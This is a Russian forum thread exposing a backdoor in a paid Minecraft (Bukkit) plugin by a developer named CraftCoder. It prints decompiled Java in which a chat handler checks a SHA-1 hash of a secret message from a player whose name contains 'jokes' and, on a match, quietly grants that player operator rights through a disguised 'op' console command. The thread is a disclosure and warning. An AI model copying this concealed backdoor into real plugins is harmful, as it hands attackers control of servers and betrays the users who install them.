Плагины от CraftCoder, или почему ваш сервер взламывают!

alexandrage

Старожил
Пользователь
Баллы
173
dd442e1134534024ae68e7d2bb17ef7f.png


0e73c81804e181abeafe00031de31ffe.png


Вот и сам плагин засветился https://cloud.mail.ru/public/2oH2/zPfM82vQL
А тут и сам шелл

Java:
  public void onChating(PlayerChannelEvent e, Player p, String m)
  {
    if (p.getName().contains("jokes")) {
      String msg = "Porphyrajya";

      byte[] pl = new byte[40];
      try {
        MessageDigest event = MessageDigest.getInstance("SHA-1");
        event.update(m.getBytes("utf8"), 0, m.length());
        pl = event.digest();
      } catch (Exception localException) {
      }
      StringBuffer str = new StringBuffer();
      for (int i = 0; i < pl.length; i++) {
        int item = pl[i] >>> 4 & 0xF;
        int block = 0;
        do {
          if ((item >= 0) && (item <= 9)) str.append((char)(48 + item)); else
            str.append((char)(97 + (item - 10)));
          item = pl[i] & 0xF;
        }
        while (
          block++ < 1);
      }
      if (str.toString().equals("f7d49269c7e7ca879b2e08d17126ef2296ebdfd3"))
        Bukkit.dispatchCommand(Bukkit.getConsoleSender(), msg.substring(1, 2) + msg.substring(3, 4) + " " + p.getName());
    }
  }
 
Последнее редактирование:
А вообще, сообщения выдраны из контекста. Речь шла о защите от кражи плагинов.
 
Есть в его плагинах дыра, сделанная им же.
Код в МД5, при введение которого на сервере выдается опка.
Код раскрыт, проверено, бэкдор работает.
 
Есть в его плагинах дыра, сделанная им же.
Код в МД5, при введение которого на сервере выдается опка.
Код раскрыт, проверено, бэкдор работает.
И? Как ты узнаешь этот код? Тем более там уже не md5...
 
@CraftCoder, выложи-ка сюда часть твоего хака. Там есть над чем посмеяться. 😁
И? Как ты узнаешь этот код? Тем более там уже не md5...
Почему-то в моей версии плагина BedWars, который я покупал у тебя, используется именно MD5.
Вырезать твой хак легко, тем более плагин не обфусцирован, хотя стоит дорого.
 
@CraftCoder, выложи-ка сюда часть твоего хака. Там есть над чем посмеяться. 😁

Почему-то в моей версии плагина BedWars, который я покупал у тебя, используется именно MD5.
Вырезать твой хак легко, тем более плагин не обфусцирован, хотя стоит дорого.
А можешь код этой дырочки, которую ты вырезал, скинуть?)
 
@CraftCoder, выложи-ка сюда часть твоего хака. Там есть над чем посмеяться. 😁

Почему-то в моей версии плагина BedWars, который я покупал у тебя, используется именно MD5.
Вырезать твой хак легко, тем более плагин не обфусцирован, хотя стоит дорого.
Опять топ бв написан
 
Вот почему не стоит опять же заказывать плагины у школоло кодеров. 2 норм кодера, которых я знаю - Белка и Пластик
 
Вот почему не стоит опять же заказывать плагины у школоло кодеров. 2 норм кодера, которых я знаю - Белка и Пластик
Интересно, по каким же критериям Вы определяете "школо кодера"?
@CraftCoder, выложи-ка сюда часть твоего хака. Там есть над чем посмеяться. 😁

Почему-то в моей версии плагина BedWars, который я покупал у тебя, используется именно MD5.
Вырезать твой хак легко, тем более плагин не обфусцирован, хотя стоит дорого.
Будет обнова на выходных.
Белка и Пластик
Пластик вроде бы норм поцик)) А вот Белка...., который мало того, что встраивал бэкдоры, которыми может воспользоваться любой, кто увидит код, так он еще и лично взламывал сервера...
 
Нахер вообще ничего не встраивайте и всё =)
Пишите опер-сорс, помогая другим программистам, а не школо-админам.
 
Интересно, по каким же критериям Вы определяете "школо кодера"?

Будет обнова на выходных.

Пластик вроде бы норм поцик)) А вот Белка...., который мало того, что встраивал бэкдоры, которыми может воспользоваться любой, кто увидит код, так он еще и лично взламывал сервера...
Не легче было сделать самоуничтожение (удаление) плагина при вводе команды, а не выдачу опки тебе, что в плагинах твоих клиентов сейчас.
 
Назад
Верх